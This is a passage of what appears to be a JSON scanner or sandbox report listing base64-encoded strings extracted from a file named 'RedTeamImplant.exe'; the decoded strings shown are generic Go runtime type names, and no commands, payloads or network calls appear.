Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5hbGlnbjY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5Cb29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5JbnQzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5JbnQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5ub0NvcHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5Qb2ludGVyW29zLmRpckluZm9d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5Qb2ludGVyW3J1bnRpbWUuX2RlZmVyXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5VaW50MzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5VaW50NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5VaW50OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5VaW50cHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmF0b21pYy5VbnNhZmVQb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmJhc2U2NC5FbmNvZGluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmJpc2VjdC5jb25k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmJpc2VjdC5kZWR1cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmJpc2VjdC5NYXRjaGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmJpc2VjdC5wYXJzZUVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmJpc2VjdC5Xcml0ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYWNoYThyYW5kLlN0YXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYW4gYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYW4gZXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYW4gZXhlYy5jdHhSZXN1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYW4gZXhlYy5nb3JvdXRpbmVTdGF0dXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYW4gaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYW4gc3RydWN0IHt9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYW4gdGltZS5UaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNoYW48LSBleGVjLmN0eFJlc3VsdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNvbXBsZXgxMjg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNvbXBsZXg2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNvbnRleHQuQ29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmNwdS5vcHRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmVycm9ycy5lcnJvclN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmV4ZWMuQ21k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmV4ZWMuY3R4UmVzdWx0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmV4ZWMuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmV4ZWMuRXhpdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmV4ZWMuZ29yb3V0aW5lU3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmV4ZWMud3JhcHBlZEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZsb2F0MzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZsb2F0NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZtdC5idWZmZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZtdC5mbXRGbGFncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZtdC5Gb3JtYXR0ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZtdC5Hb1N0cmluZ2Vy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZtdC5TdGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZtdC5TdHJpbmdlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZtdHNvcnQuS2V5VmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZzLkZpbGVJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZzLkZpbGVNb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZzLlBhdGhFcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSAoaW50LCBib29sKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSAodGltZS5UaW1lLCBib29sKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSAqYWJpLlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSAqYWJpLlVuY29tbW9uVHlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSA8LWNoYW4gc3RydWN0IHt9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBbXWVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBhYmkuS2luZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBib29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBlcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBmcy5GaWxlTW9kZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBnby5zaGFwZS5ib29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBpbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBpbnQzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBpbnQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBpbnRlcmZhY2Uge30=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSByZWZsZWN0LkNoYW5EaXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSByZWZsZWN0LktpbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSByZWZsZWN0LlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSByZWZsZWN0bGl0ZS5UeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSBzdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSB0aW1lLlRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKSB1aW50cHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKmV4ZWMuQ21kKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKm9zLmZpbGUpIGVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKm9zLnByb2Nlc3NIYW5kbGUp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKnJ1bnRpbWUuY29ybyk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoKnJ1bnRpbWUucGlubmVyKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoW11pbnQpIHJlZmxlY3QuU3RydWN0RmllbGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoW111aW50OCkgKGludCwgZXJyb3Ip","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoY29tcGxleDEyOCkgYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoZXJyb3IpIGJvb2w=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoZmxvYXQ2NCkgYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoZm10LlN0YXRlLCBpbnQzMik=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoZnVuYygpIGVycm9yKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoZ28uc2hhcGUuKnVpbnQ4KQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW50KSBib29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW50KSByZWZsZWN0Lk1ldGhvZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW50KSByZWZsZWN0LlN0cnVjdEZpZWxk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW50KSByZWZsZWN0LlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW50NjQpIGJvb2w=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW50NjQpIGludDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW50ZXJmYWNlIHt9KSBpbnRlcmZhY2Uge30=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW8uUmVhZGVyKSAoaW50NjQsIGVycm9yKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoaW8uV3JpdGVyKSAoaW50NjQsIGVycm9yKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMocmVmbGVjdC5UeXBlKSBib29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMocmVmbGVjdGxpdGUuVHlwZSkgYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoc3RyaW5nKSBib29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoc3RyaW5nKSBmdW5jKCk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmMoc3RyaW5nLCBzdHJpbmcp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmModWludDMyKSB1aW50cHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmModWludDY0KSBib29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmZ1bmModWludHB0cikgKHVpbnRwdHIsIGludDY0KQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmdvLnNoYXBlLip1aW50OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmdvLnNoYXBlLmJvb2w=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmdvLnNoYXBlLmludGVyZmFjZSB7fQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmdvZGVidWcucnVudGltZVN0ZGVycg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmdvZGVidWcuc2V0dGluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmdvZGVidWcuU2V0dGluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmdvZGVidWcudmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmdvZGVidWdzLkluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmludGVyZmFjZSB7IElzKGVycm9yKSBib29sIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmludGVyZmFjZSB7IFVud3JhcCgpIFtdZXJyb3IgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmludGVyZmFjZSB7IFVud3JhcCgpIGVycm9yIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmludGVyZmFjZSB7fQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmlvLkNsb3Nlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmlvLkxpbWl0ZWRSZWFkZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmlvLlJlYWRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmlvLlJlYWRlckZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmlvLldyaXRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmlvLldyaXRlclRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcC5ncm91cFthYmkuVHlwZU9mZl0qYWJpLlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcC5ncm91cFtpbnQzMl11bnNhZmUuUG9pbnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcC5ncm91cFtzdHJpbmddYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcC5ncm91cFtzdHJpbmdddGltZS5hYmJy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcC5ncm91cFt1aW50MzJdW10qYWJpLlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcC5ncm91cFt1aW50NjRdYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcC5ncm91cFt1bnNhZmUuUG9pbnRlcl1pbnQzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFthYmkuVHlwZU9mZl0qYWJpLlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFtpbnQzMl11bnNhZmUuUG9pbnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFtpbnRlcmZhY2Uge31daW50ZXJmYWNlIHt9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFtydW50aW1lLl90eXBlUGFpcl1zdHJ1Y3Qge30=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFtydW50aW1lLndpbkNhbGxiYWNrS2V5XWludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFtzdHJpbmddKnVuaWNvZGUuUmFuZ2VUYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFtzdHJpbmddYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFtzdHJpbmddcnVudGltZS5tZXRyaWNEYXRh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFtzdHJpbmdddGltZS5hYmJy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFt1aW50MzJdW10qYWJpLlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFt1aW50NjRdYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcFt1bnNhZmUuUG9pbnRlcl1pbnQzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcHMuZ3JvdXBzUmVmZXJlbmNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcHMuTWFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcHMudGFibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km1hcHMudW5oYXNoYWJsZVR5cGVFcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLmRpckluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLkZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLmZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLmZpbGVTdGF0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLmZpbGVXaXRob3V0UmVhZEZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLmZpbGVXaXRob3V0V3JpdGVUbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLm5vUmVhZEZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLm5vV3JpdGVUbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLlByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLnByb2Nlc3NIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLlByb2Nlc3NTdGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLlNpZ25hbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Km9zLlN5c2NhbGxFcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnBvbGwuRGVhZGxpbmVFeGNlZWRlZEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnBvbGwuZXJyTmV0Q2xvc2luZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnBvbGwuZmRNdXRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnBvbGwuZmlsZUtpbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnBvbGwub3BlcmF0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnBvbGwucG9sbERlc2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuYWJpRGVzYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KnJlZmxlY3QuYWJpU2Vx","type":"Ansi","source":"Memory/File 